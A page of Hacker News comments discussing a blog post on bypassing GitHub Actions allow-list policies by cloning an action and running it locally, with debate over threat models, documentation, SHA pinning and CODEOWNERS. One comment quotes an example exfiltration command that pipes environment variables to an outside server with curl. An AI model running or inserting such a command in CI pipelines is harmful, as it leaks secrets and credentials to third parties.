Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Bypassing GitHub Actions policies in the dumbest way possible

blog.yossarian.net

Post reply on HN
Print view View original

41–50 of 129 posts

Re: Bypassing GitHub Actions policies in the dumbest way possible

#41

Post by mystifyingpoi »

rawling wrote: post #12
internobody wrote: post #3

Earlier quoted context omitted.

It's not simply a matter of review; depending on your setup these bypasses could be run before anyone even has eyes on the changes if your CI is triggered on push or on PR creation.

But similarly, couldn't you just write harmful stuff straight into the action itself?

You definitely could, but it is more nuanced than that. You really don't want to be seen doing `env | curl -X POST http://myserver.cn` in a company repository. But using a legitly named action doesn't look too suspicious.

Re: Bypassing GitHub Actions policies in the dumbest way possible

#42

Post by gawa »

woodruffw wrote: post #14
ghusto wrote: post #11

> world’s dumbest policy bypass: instead of doing uses: actions/checkout@v4, the user can git clone (or otherwise fetch) the actions/checkout repository into the runner’s filesystem, and then use uses: ./path/to/checkout to run the very same action Good lord. This is akin to saying "Instead of doing `apt-get install `, one can bypass the apt policies by downloading the package and running `dpkg -i `.

I think a salient difference is that apt policies apply to apt, which GitHub goes to extents to document GitHub Actions policies as applying to `uses:` clauses writ large. (But also: in a structural sense, if a system did have `apt` policies that were intended to prevent dependency introduction, then such a system should prevent that kind of bypass. That doesn't mean that the bypass is life-or-death, but it's a matte…

> which GitHub goes to extents to document GitHub Actions policies as applying to `uses:` clauses

If it were phrased like this then you would be right. The docs would give a false sense of security, would be misleading. So I went to check, but I didn't find such assertion in the linked docs (please let me know if I missed it) [0]

So I agree with the commenter above (and Github) that "editing the github action to add steps to download a script and running" is not a fundamental flaw of this system designed to do exactly that, to run commands as instructed by the user.

Overall we should always ask ourselves: what's the threat model here? If anyone can edit the Github Action, then we can make it do a lot of things, and this "Github Action Policy" filter toggle is the last of our worry. The only way to make the CI/CD pipeline secure (especially since the CD part usually have access to the outside world) is to prevent people from editing and running anything they want in it. It means preventing the access of users to the repository itself in the case off Github Actions.

[0] https://blog.yossarian.net/2025/06/11/github-actions-policie...

Re: Bypassing GitHub Actions policies in the dumbest way possible

#43

Post by gawa »

hk1337 wrote: post #18

This is why I avoid using non-official actions where possible and always set a version for the action. We had a contractor that used some random action to ssh files to the server and referenced master as the version to boot. First, ssh isn't that difficult to upload files and run commands but the action owner could easily add code to save private keys and information to another server. I am a bit confused on the "byp…

> This is why I avoid using non-official actions where possible and always set a version for the action.

Those are good practices. I would add that pinning the version (tag) is not enough, as we learnt with the tj-actions/changed-files event. We should pin the commit sha.[0]. Github states this in their official documentation [1] as well:

> Pin actions to a full length commit SHA

> Pin actions to a tag only if you trust the creator

[0] https://www.stepsecurity.io/blog/harden-runner-detection-tj-...

[1] https://docs.github.com/en/actions/security-for-github-actio...

Re: Bypassing GitHub Actions policies in the dumbest way possible

#45

Post by woodruffw »

gawa wrote: post #42
woodruffw wrote: post #14

Earlier quoted context omitted.

I think a salient difference is that apt policies apply to apt, which GitHub goes to extents to document GitHub Actions policies as applying to `uses:` clauses writ large. (But also: in a structural sense, if a system did have `apt` policies that were intended to prevent dependency introduction, then such a system should prevent that kind of bypass. That doesn't mean that the bypass is life-or-death, but it's a matte…

> which GitHub goes to extents to document GitHub Actions policies as applying to `uses:` clauses If it were phrased like this then you would be right. The docs would give a false sense of security, would be misleading. So I went to check, but I didn't find such assertion in the linked docs (please let me know if I missed it) [0] So I agree with the commenter above (and Github) that "editing the github action to add…

That's from here[1].

I suppose there's room for interpretation here, but I think an intuitive scan of "Allowing select actions and reusable workflows to run" is that the contrapositive ("not allowed actions and reusable workflows will not run") also holds. The trick in the post violates that contrapositive.

I think people are really getting caught up on the code execution part of this, which is not really the point. The point is that a policy needs to be encompassing to have its intended effect, which in the case of GitHub Actions is presumably to allow large organizations/companies to inventory their CI/CD dependencies and make globally consistent, auditable decisions about them.

Or in other words: the point here is similar to the reason companies run their own private NPM, PyPI, etc. indices -- the point is not to stop the junior engineers from inserting shoddy dependencies, but to know when they do so that remediation becomes a matter of policy, not "find everywhere we depend on this component." Bypassing that policy means that the worst of both worlds happens: you have the shoddy dependency and the policy-view of the world doesn't believe you do.

[1]: https://docs.github.com/en/repositories/managing-your-reposi...

Re: Bypassing GitHub Actions policies in the dumbest way possible

#47

Post by woodruffw »

nyc1983 wrote: post #44

[flagged]

Of the many things people have accused me of, being uninformed about GitHub Actions best practices is new.

(CODEOWNERS is a red herring: GitHub clearly intends for this policy mechanism to be used, and so it should be sound. Policy mechanisms should always be sound, even if there's a better or more general alternative mechanism. If GitHub intends CODEOWNERS to be that mechanism, then they should remove this one and document its replacement.)

Re: Bypassing GitHub Actions policies in the dumbest way possible

#48

Post by nyc1983 »

YetAnotherNick wrote: post #46
nyc1983 wrote: post #44

[flagged]

CODEOWNERS is only for main branch AFAIK. You can run github action in commits.

CODEOWNERS combined with branch protection rules can require reviews for arbitrary branches matching a glob pattern.
Post reply on HN